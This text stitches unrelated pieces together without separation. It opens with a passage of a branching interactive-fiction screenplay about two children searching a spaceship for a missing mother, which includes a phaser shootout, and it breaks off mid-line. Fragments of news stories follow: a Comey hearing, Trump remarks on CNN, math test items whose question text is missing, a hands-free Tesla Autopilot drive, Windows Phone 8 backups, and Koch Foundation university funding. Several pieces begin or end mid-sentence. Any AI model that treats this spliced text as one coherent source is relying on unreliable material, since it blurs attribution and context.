opens the message. It's from his mother.</div> MANDY: Are you alright? <div class="narr">Bo opens the message and reads it out loud.</div> BO: Bo, I hope you are doing okay. I don't know when you'll open your computer for the first time, but hopefully you'll see this message sooner or later. If not, I'm sorry that we had to say goodbye on such a sour note. They let us send out a message before getting in the tanks, so wish me luck. I love you so much, and I know your father would be so proud of you. You're so brave for getting on this ship with me. You are just like your father...not afraid to take a step into the unknown. You are the bravest person I know. Please don't dwell on your father too much while you are alone on this ship. I miss him, too, but if I've learned anything in life, it's that it's always better to move forward than to look back. I know that you'll do okay while we're apart. I love you, Mom. P.S. That girl next door is pretty cute. Maybe you can get to know her. <div class="narr">Bo stares at the message blankly. The computer buzzes softly in the silence.</div> [[MANDY: At least your mom thinks I'm cute. ->momcute]] [[Bo throws the computer on the ground as hard as he can. ->compbreak]] [[Commentary ->combocomp]] </p> <p><div class="narr">Bo closes the computer and he and Mandy sit in the dark.</div> BO: I thought... I don't know. MANDY: What? BO: In my dream, there was a message. I don't know how to explain this, but... (beat) I think my mom wants me to come find her. MANDY: Find her? What do you mean? BO: I don't know. I don't know if she's in trouble, or what, but she wants me to find her. MANDY: She's asleep in the cryogenics chamber right now, Bo. BO: I know that, I know. But I need to see her. I need to make sure everything's okay. I just need to, okay? [[MANDY: It was just a dream, Bo. There's nothing wrong with your mom. ->justadream]] [[MANDY: If you need to find her, then that's what you need to do. I can't stop you. ->justadream]] </p> <p><div class="narr">The computer crashes on the ground with a loud noise, and Mandy jumps. The room is dark and silent. Bo slowly starts to cry, and Mandy puts a hand on his back, rubbing it slowly.</div> BO: I just thought... I don't know. MANDY: What? BO: There was a message. In my dream. I don't know how to explain this, but... (beat) I think my mom wants me to come find her. MANDY: Find her? What do you mean? BO: I don't know, okay? I don't know if she's in trouble, or what, but she wants me to find her. MANDY: She's asleep in the cryogenics chamber right now, Bo. BO: I know that, I know. But I need to see her. I need to make sure everything's okay. I just need to, okay? [[MANDY: It was just a dream, Bo. There's nothing wrong with your mom. ->justadream]] [[MANDY: If you need to find her, then that's what you need to do. I can't stop you. ->justadream]] </p> <p><div class="narr">Bo stands up out of the chair and stars putting on his pants.</div> BO: Look, this might not make any sense to you, but I've got to find my mom. I'm going. I know where she is, the intercom said Level I. That's where she is. That's where I'll start, at least. If she isn't there, I'll search the rest of the ship. MANDY: I'm sure she'll be there, Bo. I wouldn't worry about it too much. BO: (nodding) I hope so, too. Will you come with me? [[MANDY: Of course I'll come with you. We're friends, right? ->mandycomes]] [[MANDY: Are you kidding? My dad will kill me if he wakes up and finds out I'm gone. I'm not even supposed to be in your room right now. ->mandydoesntcome]] </p> <p>BO: (smiling) Great. MANDY: My whole life, I've been taught that I can't take care of myself. My father has told me time and time again that I'm helpless. I have to prove to myself that he's not right. <div class="narr">Bo grabs Mandy's hand tightly.</div> BO: He's not right. You'll have me with you, and I'll have you. We'll be back before morning. Please. <div class="narr">Mandy stares into Bo's eyes and takes his other hand.</div> MANDY: The elevator is locked. We'll need his key. [[ACT 2; SCENE 2 ->a2s2]] </p> <p>BO: You're not coming? MANDY: I just can't. My dad wouldn't allow it. BO: You can't live your whole life living according to your dad's law. This ship isn't that big. We're not going to get into any trouble. You don't need to be afraid of him anymore. MANDY: I'm not afraid of him, I just... my whole life, I've been taught that I can't take care of myself. My father has told me time and time again that I'm helpless. What if he's right? <div class="narr">Bo grabs Mandy's hand tightly.</div> BO: He's not. You'll have me with you, and I'll have you. We'll be back before morning. Please. <div class="narr">Mandy stares into Bo's eyes and takes his other hand.</div> MANDY: The elevator is locked. We'll need his key. [[ACT 2; SCENE 2 ->a2s2]] </p> <p><div class="narr">INT. NIGHT, MAJOR FREDERICK'S BEDROOM Mandy and Bo stand cautiously next to Major Miller's sleeping body. His bed is perfectly made, and even his breathing seems routine. He lies perfectly on his back underneath perfectly made blankets. On the table next to him are his watch, a cup of water, his phaser, and his keycard, all laid out in exact order. Mandy leans forward and carefully lifts the keycard off of the table. Miller snores loudly, and both of the children jump from the suspense. Mandy shakes her head and places the keycard in her pocket. As Mandy begins leaving the room, Bo picks up the phaser and puts it in his pocket. Mandy sees him and raises her eyebrows. </div> [[Bo shrugs his shoulders and waves Mandy to continue on. ->fake_next]] [[Bo smiles deviously and cocks his head to the side, beckoning her to follow. ->fake_next]] </p> <p><div class="narr">Outside in the HALLWAY, Bo and Mandy take a breath from the stress of what just happened. Mandy leans against the wall and sighs.</div> MANDY: I'm so dead. BO: We'll be back before he's even awake. I promise. MANDY: If he wakes up... BO: He won't. MANDY: You don't know what he's capable of, Bo. <div class="narr">They walk down the hallway to the elevator and look at the access panel that will unlock the lift.</div> MANDY: Ready? <div class="narr">Bo nods, and she swipes the card. The access panel reads:</div> AFTER HOURS - SECURITY CODE REQUIRED MANDY: Shit. <div class="narr">Bo looks up in surprise. He's probably never heard someone his age swear before.</div> BO: The stairwell, maybe? <div class="narr">Mandy takes a few steps over to the door labelled "STAIRS" and swipes her key at the panel. The panel lights up green, and they hear a <u>click</u> from inside the door. Bo grabs the door and pulls it open.</div> [[BO: I guess it's the stairs, then. ->bostairs]] [[BO: You sure you're ready for this? ->bostairs]] </p> <p>MANDY: Yeah. <div class="narr">The two of them enter the stairwell and begin descending the stairs. Dull yellow lights shine every few meters along the stairs, barely illuminating the way. Each step echoes up and down the stairwell as they descend.</div> MANDY: Did you ever think you'd be doing this? BO: What do you mean? MANDY: Sneaking around on a spaceship in the dead of night, looking for your mom in a hybernation chamber? [[BO: I never wanted to be on this ship in the first place. ->bonoship]] [[BO: Did you ever think you'd be disobeying your dad with a kid you just met yesterday? ->bosneak]] [[Commentary ->combostairs]] </p> <p>MANDY: You didn't? Didn't you want to leave Earth? BO: I don't care about Earth. It's the people I didn't want to leave behind. MANDY: You left your dad behind, right? His body? BO: It wasn't my choice, and I don't like to talk about it. MANDY: Sorry. BO: Everybody tells you that you have to move on, that the bad things can't control your life. Well, what's wrong with the bad things? Why can't I think about my dad forever? Don't I have the right to be upset about it? [[MANDY: You can think about the bad things as much as you want, but you shouldn't let them control you. ->mandynocontrol]] [[MANDY: I like the bad things. Sometimes I think people are afraid of the bad things because they don't understand them. But if you take the time to really get to know them, they aren't as scary anymore. ->mandynocontrol]] </p> <p>MANDY: I always knew I'd be disobeying my dad. With you, though? If anyone was going to make me do it, I'm glad it was you. BO: (quietly) Me, too. MANDY: What did you say? BO: I was going to say, this place seems warmer than it should be, right? I was expecting a concrete stairwell to be cold. MANDY: They have heating and air conditioning. BO: Funny. It's just...do you ever think that... (beat) we're living in a quantum world? Like every choice we make is pushing us into one world or another, and it's the choices we make that decide what we get to experience, and what we never have a chance of seeing? <div class="narr">Mandy stops walking.</div> MANDY: Where the hell did that come from? Those are some big words for an eleven year old. BO: My parents were big on science. They weren't scientists or anything, but they knew a lot. You know? [[MANDY: Not really. I try to focus on the here and now. It's the only way I can stay alive. ->mandyhere]] [[MANDY: Yeah, I know what you're saying. Sometimes I feel the same way, like I'm always missing out on something, no matter what I do. ->mandyhere]] </p> <p>BO: I guess so. I don't know. <div class="narr">Bo slides his hand along the railing alongside the stairs.</div> BO: You know, this place isn't as cold as I thought it would be. MANDY: They have heating and air conditioning. BO: Funny. It's just...do you ever think that... (beat) we're living in a quantum world? Like every choice we make is pushing us into one world or another, and it's the choices we make that decide what we get to experience, and what we never have a chance of seeing? <div class="narr">Mandy stops walking.</div> MANDY: Where the hell did that come from? Those are some big words for an eleven year old. BO: My parents were big on science. They weren't scientists or anything, but they knew a lot. You know? [[MANDY: Not really. I try to focus on the here and now. It's the only way I can stay alive. ->mandyhere]] [[MANDY: Yeah, I know what you're saying. Sometimes I feel the same way, like I'm always missing out on something, no matter what I do. ->mandyhere]] </p> <p>BO: Sometimes I wonder if I was meant to be born at all. <div class="narr">The yellow lights above them shut off, and Bo and Mandy are left standing in the dark. Mandy lets out a small scream when the lights go off.</div> BO: It's okay, it's okay! They must shut off the lights after a certain time. We might be in the dark for a while. MANDY: I hate the dark. Let's just get down to Level I and find your mom. BO: Fine with me. Let's get out of here. [[INT. CAPTAIN MILLER'S ROOM ->capmiller]] </p> <p>INT. MAJOR MILLER'S ROOM <div class="narr">MAJOR Miller rolls over in his sleep. He is mumbling something, but it's not discernable. CLOSE UP on MAJOR Miller's eyes opening slowly. His face looks tired, almost sad. He sits up and scratches the back of his neck, grabbing a glass of water from his desk and taking a long drink. He stands up and walks to the doorway, looking out into the rest of the quarters.</div> FREDERICK: Mandy? (beat) Mandy, are you awake? <div class="narr">He walks to another bedroom next to his and opens the door. The bed is empty.</div> FREDERICK: God damn kids... <div class="narr">MAJOR Miller walks quickly back to his room and puts on his watch. He goes to grab his keycard and sees that it is missing, along with his phaser. CLOSE UP on his face to reveal his wide eyes, afraid, but excited. He yanks open a drawer on the table and pulls out a small communication device.</div> FREDERICK: Franco, are you up? Franco, wake up! COM DEVICE (FRANCO): Hello? Major? FREDERICK: Let the men know my daughter's been kidnapped. I'm not sure who would have taken her, but I have a funny feeling it was the boy next door. He's been eyeing her since we got here. COM DEVICE (FRANCO): Yes, sir. I'll send out an alert right away. FREDERICK: And Franco? COM DEVICE (FRANCO): Sir? FREDERICK: Tell the men to come armed. The boy took my gun. [[ACT 2; SCENE 3 ->a2s3]] [[Commentary ->comcapmiller]] </p> <p><div class="narr">ACT 2; SCENE 3 INT. LEVEL I - THE HYPERSLEEP CHAMBER The Hypersleep Chamber is a large, dark room, full of bubbling tanks around 8 feet tall and 5 feet wide. In each of them, a naked human floats, suspended in pale yellow fluid, which bubbles softly and provides the only noise in the room. Mandy and Bo walk through different rows of these tanks, Bo looking anxiously at the nameplates below each tank.</div> BO: Mark, Marsh, Melvin... <div class="narr">They walk quickly, Mandy constantly looking over her shoulder, Bo with a clear task.</div> BO: Miller, Milton, Milton again... [[MANDY: Wait, that's my mom. ->stopmandymom]] [[BO: The G's must be a few rows over. ->emptytank]] </p> <p><div class="narr">Bo comes to a halt, hesitant at first, but then walks back to where Mandy is standing.</div> BO: That's right, Miller. <div class="narr">The two children look up into the tall tank, which is illuminated from the inside with soft blue lights. A naked Marylin Miller hangs inside the fluid, eyes closed and limbs hanging loosely.</div> MANDY: She looks so peaceful. She looks asleep. [[BO: Isn't it weird to see your mom naked? ->nakedmom]] [[BO: Why do I get the feeling you're jealous of her? ->jealous]] [[BO: We need to get going if we're going to find my mom. ->emptytank]] </p> <p><div class="narr">Bo and Mandy walk between the rows of tanks, Bo speeding up as he goes.</div> MANDY: Bo, slow down. BO: (reading) F...G...she's somewhere down here! MANDY: Keep your voice down! We're not supposed to be here, you know! <div class="narr">Bo runs down a row of luminescent tanks, scanning the nameplates as he goes. Mandy turns a corner and catches up to him. Bo is standing still, looking up at a dark, empty tank.</div> MANDY:...Bo? BO: She's gone. MANDY: I'm sorry, Bo. I'm so, so sorry. BO: I have to find her. [[MANDY: Find her? Where would she be?->fake_where]] [[Mandy grabs Bo's hand and looks him sadly in the eye.->fake_where]] [[Commentary ->comemptytank]] </p> <p>MANDY: It's not weird. She's beautiful. Look how she floats perfectly in the middle, without touching the sides of the tank. Her hair, just...floating there. BO: Well, it's weird for me. I don't know if I've ever seen a naked person before. <div class="narr">Mandy turns and looks at him, smiling.</div> MANDY: You're a funny kid. Let's get out of here. [[Mandy runs her palm over the tank and wipes off some moisture. She wipes it off on her shirt and grabs Bo's hand, leading him away from the tank. ->emptytank]] </p> <p>MANDY: Aren't you jealous? No cares in the world, just a long sleep. And when you wake up, everything is better. You have a new life. You get to start over. It's the sleep that everyone wants. <div class="narr">Bo looks at Marylin with critical eyes.</div> BO: I should've stayed behind. MANDY: What? BO: I never should have left Earth. I feel like I betrayed the one person who loved me most. (Bo begins to tear up) MANDY: Hey, it's okay (she puts an arm around Bo). Trust me, that place sucks. If there was ever, like, a soul or anything inside of the Earth, it died a long time ago, trust me. You didn't betray anyone. You did the right thing coming out here. Forget about Earth. BO: The right thing would have been to save the Earth, not leave her. MANDY: That wasn't up to you. If you need someone to blame, blame your ancestors. Not yourself. BO: (wiping his eyes) Yeah. It's just sad. Earth didn't do anything to us. It just feels wrong, that's all. [[MANDY: (beat) Come on, your mom's waiting. ->emptytank]] [[Mandy runs her palm over the tank and wipes off some moisture. She wipes it off on her shirt and grabs Bo's hand, leading him away from the tank. ->emptytank]] </p> <p>BO: She's on the ship somewhere. I can feel it. MANDY: Bo, there's got to be twenty empty tanks down here. Where do you think they are? <div class="narr">Bo glares at Mandy and takes a step away from her.</div> BO: She's on the ship, Mandy. Are you coming, or aren't you? MANDY: I don't have time for this, Bo. I have to get back to my room. If my dad hasn't found out that I'm gone by now, he definitely will when he wakes up in a few hours and sees that I'm not there! BO: You don't have time? What is this, some type of game to you? My mother is <u>missing</u>! Do you think they just forgot to put her in? Do you think they got her name wrong? No! She's down here somewhere - MANDY: Bo, be quiet - BO: - And if you're not going to help me find her - MANDY: Bo, shh! [[GUARD 1: Hey, you kids get over here!->run]] [[GUARD 1: I found them, they're over here!->run]] </p> <p>MANDY: Bo, run! <div class="narr">Bo grabs Mandy's hand and starts to run, dragging Mandy along with him.</div> GUARD 2: They're over here! I got 'em! <div class="narr">A guard steps out from behind a tank, stretching out his arms to grab Bo. Bo headbuts him in the chest, and the guard stumbles backwards.</div> MANDY: There! <div class="narr">A sign ahead reads: TO STAIRWELL Major Miller chases the children with several guards, pointing in their direction.</div> [[FREDERICK: After them! Don't let the boy get away!->observation]] [[FREDERICK: They're headed for the stairs, cut them off!->observation]] </p> <p><div class="narr">INT. OBSERVATION DECK I Mandy and Bo enter the Observation Deck. This room is silent, except for the soft humming and rhythmic beeping from other parts of the ship. The room is large, and features a single, enormous window, looking out into the beauty of space. Our first view of it should be breathtaking. Mandy and Bo stop running and slowly approach the window. They are hypnotized by the beauty of the universe, and have temporarily forgotten that they are being chased.</div> MANDY: It's the most beautiful thing I've ever seen. <div class="narr">Bo stands speechless at the window, looking out with an open mouth. CLOSE UP on Mandy grabbing Bo's hand, and then each of them looking at each other, Mandy smiling slightly.</div> FREDERICK: Don't move! <div class="narr">Mandy and Bo spin around and see Major Miller and his men standing in the doorway, all holding phasers, blocking the kids' exit.</div> FREDERICK: You hand the girl over to me, boy. You can spend the rest of your trip in a holding cell. MANDY: Daddy! He's just looking for his mom, she isn't in her tank. <div class="narr">Frederick's gaze softens momentarily, and his phaser lowers.</div> [[Bo, seeing a moment of weakness, pulls out the phaser he stole from the Major and points it at the crowd. ->bophaser]] [[Bo, resigned to his life in solitary, brings out the phaser he stole and holds it out for the Major to take. ->bophaser]] </p> <p>GUARD 1: He's got a gun! <div class="narr">The guards all start to fire, and Bo ducks behind a bench, pulling Mandy with him.</div> FREDERICK: What are you doing? You'll hit Mandy! Cease fire! <div class="narr">Bo sticks his head out from behind the bench and shoots his phaser several times at the guards.</div> FREDERICK: Get out of the way, he's crazy! <div class="narr">Two of the guards duck into the room near the window, while Major Miller and the rest of his men pull back out of the room. One of Bo's shots hits the emergency door button on the wall, and a heavy metal plate comes <u>whoosh</u>ing down, slamming shut, locking Major Miller and his men out of the Obseration Deck. The large window makes a crunching noise, and all heads turn to see what is happening. Almost instantly, the window shatters, glass flying out into space, the vaccuum pulling out Major Miller's two guards before even larger metal plates close the breach in the window. Bo and Mandy are left on the floor, holding each other tightly. Mandy looks into Bo's eyes with fear, but Bo's eyes are filled with determination. His goal is clear - he will find his mother no matter what it takes.</div> [[Next->next]] [[Commentary ->combophaser]] </p> <p><div class="narr">INT. LEVEL I - THE HYPERSLEEP CHAMBER Frederick and his men stand outside the emergency door, Frederick slamming his fists into the metal barrier.</div> FREDERICK: Damn it! We let them get away! GUARD 3: We'll find him sir, don't worry. <div class="narr">Frederick turns and faces Guard 3.</div> FREDERICK: Do you think I'm worried about the boy at all? GUARD 3: Sir, I just meant - FREDERICK: I don't care if that boy gets ejected with the sewage! (he hits Guard 3 in the stomach, knocking him to his knees) It's my daughter that I'm worried about, you idiot! (he hits Guard 3 across the face, knocking him completely to the ground) <div class="narr">Frederick, panting, straightens his posture and looks to the other guards.</div> FREDERICK: They'll go down to the boiler room. There's no way back up from where they are, the boy made sure of that. They'll have to take the stairs down to the boiler room, then take the lift back up. We're cutting them off. Any questions? GUARD 4: Shouldn't we alert the Captain to all of this, sir? FREDERICK: (getting in Guard 4's face) I can take care of this myself. She's my daughter. I'll get her back. GUARD 4: Yes, sir. Absolutely. <div class="narr">Frederick turns back toward the rows of cryogenic tanks and starts walking.</div> FREDERICK: Follow me. [[ACT 3; SCENE 1->a3s1]] </p> <p><div class="narr">INT. THE LOWER LEVELS We are in the belly of the Daedalus. Large metal machinery pumps and hisses, with thin metal walkways leading between all of the machines. The air is full of steam, and there are loud noises chugging along in a nearby room. The only lighting in the lower levels is dim yellow emergency lighting. Bo and Mandy enter, holding hands out of fear and less out of romantic interest. This is a frightening place for children. </div> [[MANDY: Do you know where you're going? ->going]] [[BO: What kind of stuff did you do back home, anyways? ->backhome]] </p> <p>BO: Going the only way we <u>can</u> go, I guess. Forward. MANDY: I don't really like it down here. It's creepy. BO: (looking around) Yeah, it kind of feels like we're being watched. Stay close. MANDY: You know, you're brave for a twelve year old. BO: That's what my dad always used to say. About being eleven, at least. MANDY: My dad and those other guys were even shooting at you. But you just...shot back. You're an okay kid. [[BO: I was just protecting you... Check out that door up ahead. ->fakeboost]] [[BO: I don't need your approval. I shot back because I didn't want to die, that's all there is to it. Come on, there's a door down there. ->fakeboost]] </p> <p><div clas="narr">Mandy looks at Bo with an eyebrow raised.</div> MANDY: Read books, I guess. Why? BO: I dunno. I realized I don't know that much about you. What kind of books? MANDY: Fantasy, mostly. (Bo laughs) What? BO: Nothing. I don't know what I expected. [[MANDY: It's not like that. I'm not into unicorns and magic; I just enjoy escaping. ->escaping]] [[MANDY: Why, what kind of things were you into? ->bothings]] </p> <p>BO: Yeah, I had video games for that. They never really worked that well, though. The only video games people make anymore are just war games... MANDY: <u>Did</u> make. BO: Right...did. MANDY: You know, you're brave for a twelve year old. BO: That's what my dad always used to say. About being eleven, at least. MANDY: My dad and those other guys were even shooting at you. But you just...shot back. You're an okay kid. [[BO: I was just protecting you... Check out that door up ahead. ->fakeboost]] [[BO: I don't need your approval. I shot back because I didn't want to die, that's all there is to it. Come on, there's a door down there. ->fakeboost]] </p> <p><div clas="narr">Bo laughs a little at the mention of home.</div> BO: After what we've been through today, home feels like a million miles away. MANDY: It's probably way more than that by now, nerd. So tell me, what were you into back on the brown planet? BO: (thinking sadly) Nothing. I guess. Books. My grandpa was an author, and my dad was always writing something. I never got into writing, though. Reading was fine, but writing, no. Writing reminded me of school. MANDY: What, you didn't like school? BO: I like learning, it's the people I hate. And homework. And recess. MANDY: (playful) You were probably that kid that sat all by himself in the corner of the lunch room listening to depressing music and telling people that they don't understand you. BO: (smiling) Shut up, you were probably the girl who refused to wear matching socks because she wanted to stand out in any way possible. <div clas="narr">Mandy smiles, and looks down, lifting up her pant legs. Two matching black socks show underneath.</div> BO: Well, anyway. Who were you, then? [[MANDY: I was the singer. I was always singing in the hallways. ->grades]] [[MANDY: I was into sports. I was on the soccer team for a while, but it was hard when we were moving so much. ->grades]] [[MANDY: I was nobody, really. Just your average girl trying to get average grades. ->grades]] </p> <p><div class="narr">The kids approach the door, and Mandy reads the plaque on the wall.</div> MANDY: Scrapping room? Scrap for what? BO: One way to find out. <div class="narr">They open the door and enter a completely dark room. The door swings shut behind them.</div> BO: Down there. <div class="narr">There is a dim light at the far end of the room.</div> MANDY: Alright. Be careful. Don't let my hand go. <div class="narr">They slowly make their way through the room, brushing up against piles of metal.</div> BO: What is all of this stuff? MANDY: I guess it must just be junk leftover from building the ship. Maybe they figured it might come in handy. BO: Why would any of this - <div class="narr">Mandy screams and falls down. Two robotic eyes light up the space around the kids, and we see a metal robot holding onto Mandy's legs.</div> [[Bo kneels down and grabs Mandy's hand, pulling her away from the robot's grip ->grip]] [[Bo kicks the robot in the head, rearing back for another stomp. ->grip]] [[Commentary ->comfakeboost]] </p> <p>BO: I could never get into any of that, personally. It's not that I was antisocial or anything, but I kept my head low. I wasn't average. I was just...invisible. MANDY: Well, I see you. <div clas="narr">Mandy squeezes Bo's hand, and Bo looks down at their hands, smiling back up at her.</div> MANDY: You know, you're brave for a twelve year old. BO: That's what my dad always used to say. About being eleven, at least. MANDY: My dad and those other guys were even shooting at you. But you just...shot back. You're an okay kid. [[BO: I was just protecting you... Check out that door up ahead. ->fakeboost]] [[BO: I don't need your approval. I shot back because I didn't want to die, that's all there is to it. Come on, there's a door down there. ->fakeboost]] </p> <p>MANDY: No, wait! Look! ROBOT: Dark...dark...ness. <div class="narr">We see that the robot is missing legs, and instead has a bundle of loose wires sticking out from where they should be.</div> MANDY: He |
Judiciary Committee before the start of Wednesday’s hearing: “Why haven’t you done so, and will you provide it by the end of this week?” he asked.
“Again, to react to that, I have to give a classified answer, and I can’t give it sitting here,” Comey replied.
“So that means you can’t give me the email?” Grassley asked.
“I’m not confirming there was an email, Sir,” Comey said. “I can’t – the subject is classified, and in an appropriate forum, I’d be happy to brief you on it, but I can’t do it in an open hearing.”President Donald Trump said it would be “fun” to sue CNN during his remarks at a re-election fundraiser on Wednesday, according to audio released Friday by the Intercept.
“These are really dishonest people. Should I sue them? I mean, they’re phonies,” Trump said, according to the recording. “I mean, these are horrible human beings.”
The President’s team disinvited press from the fundraiser at the last minute, citing “logistical challenges” and “confusion” with the Republican National Committee.
He claimed CNN president Jeff Zucker is “going to resign at some point pretty soon.”
“It’s a shame what they’ve done to the name CNN, that I can tell you,” Trump said. “But as far as I’m concerned, I love it. If anybody’s a lawyer in the house and if you think I have a good lawsuit, because I feel like we do. Wouldn’t that be fun?”
(Trump’s remarks on CNN begin around the 8:05 mark.)
Despite his longstanding feud with CNN, Trump spent the last three days railing against MSNBC’s “Morning Joe” co-hosts Mika Brzezinski and Joe Scarborough.
On Thursday, Trump attacked Brzezinski in an early-morning tweetstorm and claimed she visited his Mar-a-Lago resort while “bleeding badly from a face-lift.”
On Friday, he called “Morning Joe” a “bad show.”
And on Saturday, Trump started his morning with a series of tweets railing against NBC News executives while claiming “Crazy Joe Scarborough and dumb as a rock Mika are not bad people.”
Trump did make room in the tirade to attack CNN as “garbage journalism.”
The Washington Post reported on Friday that some unnamed White House advisers are frustrated with Trump’s focus on NBC News as opposed to CNN, and believe his feud with the latter network has “clearer villains and heroes.”This week the state Education Department released 75 percent of the questions from this year's ELA and mathematics Common Core state tests for grades 3-8. That's about two months earlier than in past years.
In years past we've posted a handful of the 8th grade math questions as a sort of short quiz. And people always seem curious about the question -- and, you know, interested to see if they can answer them.
So we pulled seven questions from this year's 8th grade mathematics test -- they're after the jump with the (hidden) answers.
Before we jump in: As we said in past years, looking at a handful of multiple-choice questions isn't going to provide a complete look at what's on the tests, nor is it going to provide any broad perspective on the Common Core. For example, the math tests includes multiple-choice questions, as well as questions that require short written answers. So this is just a small slice of the test.
The release includes the correct answer for each question, along with the concept category. But as far as we can tell, this year's release of questions doesn't include explanations for each correct answer, nor the percentage of students who got the correct answer, as in years past. (We thought both of those bits were helpful, but maybe they had to be dropped in order to get the questions out earlier this year.)
Here are all the sample math questions for the 8th grade test.
Question 1
(click to reveal answer)
Answer: A
Category: Expressions And Equations
Question 2
(click to reveal answer)
Answer: B
Category: Expressions And Equations
Question 3
(click to reveal answer)
Answer: A
Category: Statistics and Probability
Question 4
(click to reveal answer)
Answer: A
Category: Geometry
Question 5
(click to reveal answer)
Answer: B
Category: Expressions and Equations
Question 6
(click to reveal answer)
Answer: A
Category: Expressions and Equations
Question 7
(click to reveal answer)Just before Model S drivers receive software 7.0 over the air, upstart automaker Tesla invited me out to its Palo Alto, California headquarters to take the 7.0-updated Model S for a spin.
Elon Musk and Tesla's representatives made it abundantly clear that its new Autosteer feature would not work without me keeping my hands on the steering wheel at all times. They were wrong.
Cruising at a comfortable 65 mph down Highway 280 outside Palo Alto, the Model S I was driving riding in was in full control, speeding up, slowing down and steering itself.
Autopilot driver is supposed to keep his or her hands on the steering wheel, the system says. Image: Nick Jaynes/Mashable
While some skeptics might point out that several carmakers offer similar systems right now, including Mercedes-Benz and Honda, none, however, work quite as seamlessly or as competently as the Tesla Autopilot.
Where Honda's system ping pongs between freeway lane markings and Mercedes' requires drivers to keep their hands on the steering wheel at all times, I sat back and enjoyed the ride in the Tesla, despite warnings against going completely hands-free. Essentially, for the 20 minutes I was behind the wheel of the Autopilot-fitted Model S P90D, I felt I was driving in a not-too-distant all-autonomous future.
'Like a really good chauffeur'
Once I settled in and rested my confidence — and fate — squarely on the shoulders of the Model S, I really enjoyed the experience. I have ridden in autonomous cars before: a prototype Audi A7, for example. In the Tesla, however, I felt much more at ease. That might be mostly due to the fact that, in the Audi, I had an engineer in the passenger and back seats monitoring the vehicle systems. This does not driver confidence build.
In the Tesla, it was just me, a heap of sensors, the car and the road.
A hands-free wheel in the Tesla Model S. Image: Nick Jaynes/Mashable
Steering down the highway with the flow of traffic wasn't the only trick the Model S displayed; it also was capable of changing lanes and overtaking slower cars on its own.
If I grew tired of sitting behind the car in front of me, I could just signal to my left and the Model S would merge into the open lefthand lane and smoothly but immediately accelerate up to the speed I had preset with the Traffic-Aware Cruise Control system.
Again, this distinguishes the Tesla Autopilot system from other mild self-driving systems on the market. No other carmaker offers a system that will change lanes and overtake another vehicle.
It did this with a smoothness that Musk himself likens to "a really good chauffeur." And he is right. Where lane-keeping systems from other carmakers make you constantly aware that a computer is controlling the car, making questionable, last-second moves and nervous adjustments, the Model S handled the road with aplomb. It never left me worrying its sensors or little computer brain were about to send me off into the ditch and to my demise.
Hiccup
The only hiccup I encountered with the new suite of autonomous systems was the Autopark system. When I drove up to a parallel parking spot, the Tesla simply didn't see the parking spot. I took another swing around the parking lot but it never recognized any spot.
The Model S with Autopilot. Image: Nick Jaynes/Mashable
The Tesla rep wondered if the car I was driving was running a beta version of 7.0 that didn't have Autopark turned on. That could very well be true. I tried the self-parking feature in another car two more times and it worked flawlessly.
Overall, however, the Autopilot exceeded my previous expectations. As I've mentioned several times, I've driven autonomous and semi-autonomous cars — both in production and concept form — and none worked as smoothly, as carefully or as competently as the Model S.
Musk told journalists that even with all the tech in place, people have to trust that the car will work as well with their hands on the wheel as it does with their hands in their lap. The Autopark flub aside, I'd say he's nearly there... and years ahead of the competition.We got an early glimpse at some planned Windows Phone 8 backup options in July when an SDK for the new mobile operating system leaked. Until now, we haven't known exactly how the options — like SMS, photo, and settings backup — will work. Sources close to Microsoft's Windows Phone 8 plans have now revealed to us that the software maker will be offering backup capability to Windows Phone users that sign in with a Microsoft account.
When you first launch a Windows Phone 8 device, a splash screen will encourage users to use a Microsoft account (as it does in Windows Phone 7) to keep data in sync. However, the new slash screen also hints at the ability to keep "photos, contacts, music, documents, and more in sync with your PC or Xbox." Although we're unable to confirm the Xbox sync plans, it appears Microsoft will allow Windows Phone users to share data easily to an Xbox console via SkyDrive.
We understand that the backup options in Windows Phone 8 include the ability to automatically upload photos and video to SkyDrive, sync SMS and MMS messages to Hotmail or Outlook.com, and sync settings such as themes, accounts, and Internet Explorer favorites. App lists and individual app settings will also be synced as part of a backup routine. The options, which haven't been present in Windows Mobile or Windows Phone software previously, will be a much welcomed option that should help Microsoft offer a similar experience to iOS users with iCloud or Google's own Android backup options. We are expecting to Microsoft to detail its backup plans in more detail at a Windows Phone 8 event in New York on Wednesday.In 2012 alone, private foundations controlled by Charles Koch and his brother, David Koch, combined to spread more than $12.7 million among 163 colleges and universities, with grants sometimes coming with strings attached, the Center for Public Integrity reported in March.
Florida State University ranked a distant second behind George Mason University of Virginia as a recipient of Charles Koch Foundation money. In a tax document filed with the Internal Revenue Service, the foundation described its Florida State University funding for 2012 as “general support.”
Some schools’ professors and students were aghast at the funding, arguing that such financial support wasn’t widely known on their campuses and could threaten schools’ academic freedoms and independence. Others argued that colleges and universities — long bastions of liberal academics — would be well served by more libertarian courses of study.
Separately, Charles Koch is the financial force behind a “curriculum hub” for high school teachers and college professors that criticizes government and promotes free-market economic principles. He’s also funded programs for public school students, and this year, his foundation donated $25 million to the United Negro College Fund.
At Florida State University, Benson noted in a November 2007 memorandum that the Charles Koch Foundation would not just “give us money to hire anyone we want and fund any graduate student that we choose. There are constraints.”
Benson later added in the memo: “Koch cannot tell a university who to hire, but they are going to try to make sure, through contractual terms and monitoring, that people hired are [to] be consistent with ‘donor Intent.’”
A separate email from November 2007 indicates that Benson asked Charles Koch Foundation officials to review his correspondence with Florida State associates about potential Koch funding.
Trice Jacobson, a Charles Koch Foundation representative, did not respond to questions, although Benson and Florida State University spokesman Dennis Schnittker each confirmed that the emails and documents are authentic.
But Benson noted that the documents were meant for internal use and reflect the “early stages of discussion” well ahead of a 2008 funding agreement signed by the university and the foundation.
That agreement, initiated in 2009, has earned Florida State $1 million through April, according to the university. Until it was revised in 2013, an advisory board would consult with the Charles Koch Foundation to select faculty members funded by the foundation’s money.
Benson also said that while he continued serving as Florida State’s economics department chairman until 2012, Charles Koch Foundation money wasn’t a factor.
While foundation initially discussed providing money to help fund Benson’s salary, “that idea was taken off the table very early in negotiations,” he said. “I continued as chair because I felt I could still make a valuable contribution to the department.”
The 2008 agreement between the school and the foundation nevertheless faced harsh criticism from some professors and students who argued it indeed gave the foundation too much power over university hiring decisions.
The school and foundation revised their agreement in 2013 “for clarity” and to emphasize the “fact that faculty hires would be consistent with departmental bylaws and university guidelines,” Schnittker said. “Our work with CKF [Charles Koch Foundation] has always upheld university standards.”
Those guidelines, spelled out in a Florida State University statement about the foundation from May, say the money will not compromise “academic integrity” or infringe on the “academic freedom of our faculty.”
Ralph Wilson, a mathematics doctoral student and member of FSU Progress Coalition, doesn’t buy it.
